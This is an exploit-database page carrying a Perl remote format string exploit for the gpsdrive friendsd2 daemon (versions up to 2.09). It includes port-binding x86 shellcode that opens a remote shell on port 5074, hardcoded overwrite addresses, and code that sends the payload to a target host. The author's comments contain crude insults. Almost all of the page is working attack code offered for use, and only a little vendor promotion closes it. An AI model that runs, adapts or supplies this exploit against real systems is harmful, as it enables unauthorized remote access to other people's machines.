Lucene search
K

gpsdrive <= 2.09 (friendsd2) Remote Format String Exploit (x86)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

gpsdrive <= 2.09 (friendsd2) Remote Format String Exploit (x86) for GPSDRIVE-aaa

Code

                                                #!/usr/bin/perl -w
# 
# Code by KF, although it is most likely ripped from John H. 
#  (kf_lists[at]digital_munition[dot]com)
#
# http://www.digitalmunition.com
#
# FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles.
# Free 14 day Testicle licking trial available!
#
# friendsd.c:367:   fprintf (stderr, txt);
#
# Tested on intel using gpsdrive_2.09-2_i386.deb
# 
# kfinisterre@animosity:~$ telnet localhost 5074
# Trying 127.0.0.1...
# Connected to animosity
# Escape character is &#39;^]&#39;.
# id;
# uid=1000(kfinisterre) gid=1000(kfinisterre) groups=1000(kfinisterre)
# : command not found
#
# [email protected]
# x86 portbind a shell in port 5074
# 92 bytes.
# 
# This shit is NOT robust and most likely will NOT work on kernel 2.6.12 
# because of the random address space. Find your own damn pointers to overwrite
#
$shellcode  = &#34;\x90&#34; x 2 . 
&#34;\x31\xc0&#34; .			# xorl		%eax,%eax
&#34;\x50&#34; .			# pushl	%eax
&#34;\x40&#34; .			# incl		%eax
&#34;\x89\xc3&#34; .			# movl		%eax,%ebx
&#34;\x50&#34; .			# pushl	%eax
&#34;\x40&#34; .			# incl		%eax
&#34;\x50&#34; .			# pushl	%eax
&#34;\x89\xe1&#34; .			# movl		%esp,%ecx
&#34;\xb0\x66&#34; .			# movb		$0x66,%al
&#34;\xcd\x80&#34; .			# int		$0x80
&#34;\x31\xd2&#34; .			# xorl		%edx,%edx
&#34;\x52&#34; .			# pushl	%edx
&#34;\x66\x68\x13\xd2&#34; .		# pushw	$0xd213
&#34;\x43&#34; .			# incl		%ebx
&#34;\x66\x53&#34; .			# pushw	%bx
&#34;\x89\xe1&#34; .			# movl		%esp,%ecx
&#34;\x6a\x10&#34; .			# pushl	$0x10
&#34;\x51&#34; .			# pushl	%ecx
&#34;\x50&#34; .			# pushl	%eax
&#34;\x89\xe1&#34; .			# movl		%esp,%ecx
&#34;\xb0\x66&#34; .			# movb		$0x66,%al
&#34;\xcd\x80&#34; .			# int		$0x80
&#34;\x40&#34; .			# incl		%eax
&#34;\x89\x44\x24\x04&#34; .		# movl		%eax,0x4(%esp,1)
&#34;\x43&#34; .			# incl		%ebx
&#34;\x43&#34; .			# incl		%ebx
&#34;\xb0\x66&#34; .			# movb		$0x66,%al
&#34;\xcd\x80&#34; .			# int		$0x80
&#34;\x83\xc4\x0c&#34; .		# addl		$0xc,%esp
&#34;\x52&#34; .			# pushl	%edx
&#34;\x52&#34; .			# pushl	%edx
&#34;\x43&#34; .			# incl		%ebx
&#34;\xb0\x66&#34; .			# movb		$0x66,%al
&#34;\xcd\x80&#34; .			# int		$0x80
&#34;\x93&#34; .			# xchgl	%eax,%ebx
&#34;\x89\xd1&#34; .			# movl		%edx,%ecx
&#34;\xb0\x3f&#34; .			# movb		$0x3f,%al
&#34;\xcd\x80&#34; .			# int		$0x80
&#34;\x41&#34; .			# incl		%ecx
&#34;\x80\xf9\x03&#34; .		# cmpb		$0x3,%cl
&#34;\x75\xf6&#34; .			# jnz		&#60;shellcode+0x40&#62;
&#34;\x52&#34; .			# pushl	%edx
&#34;\x68\x6e\x2f\x73\x68&#34; .	# pushl	$0x68732f6e
&#34;\x68\x2f\x2f\x62\x69&#34; .	# pushl	$0x69622f2f
&#34;\x89\xe3&#34; .			# movl		%esp,%ebx
&#34;\x52&#34; .			# pushl	%edx
&#34;\x53&#34; .			# pushl	%ebx
&#34;\x89\xe1&#34; .			# movl		%esp,%ecx
&#34;\xb0\x0b&#34; .			# movb		$0xb,%al
&#34;\xcd\x80&#34;;			# int		$0x80

use Net::Friends;
use Data::Dumper;

$name = &#39;GPSDRIVE-aaaa&#39;;

# 0804bb84 R_386_JUMP_SLOT   recvfrom
$addy  = &#34;\x86\xbb\x04\x08&#34;;  # This is the write address. 
$addy2 = &#34;\x84\xbb\x04\x08&#34;; 

#$retaddr = 0xbfffba7c;  # Retaddr when using gdb 
$retaddr = 0xbfffba8a;  # Retaddr when NOT using gdb. Its that same kick you in the face styleee from the ppc sploit. 

$lo = ($retaddr &#62;&#62; 0) & 0xffff;
$hi = ($retaddr &#62;&#62; 16) & 0xffff;
		
$hi = $hi - 0x4c;
$lo = (0x10000 + $lo) - $hi - 0x4c;		

$hi =1; $lo =1;

$dir = &#34;$addy$addy2%.&#34; . $hi . &#34;d%379\$x%.&#34; . $lo . &#34;d%380\$x$shellcode&#34;;

$friends = Net::Friends-&#62;new(shift || &#39;localhost&#39;);
$friends-&#62;report(name =&#62; $name, lat =&#62; &#39;1111&#39;, lon =&#62; &#39;2222&#39;, speed =&#62; &#39;3333&#39;, dir =&#62; $dir);

print Dumper($friends-&#62;query);

# P.S. - I fart in the general direction of Fr-Sirt. 

# milw0rm.com [2005-11-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation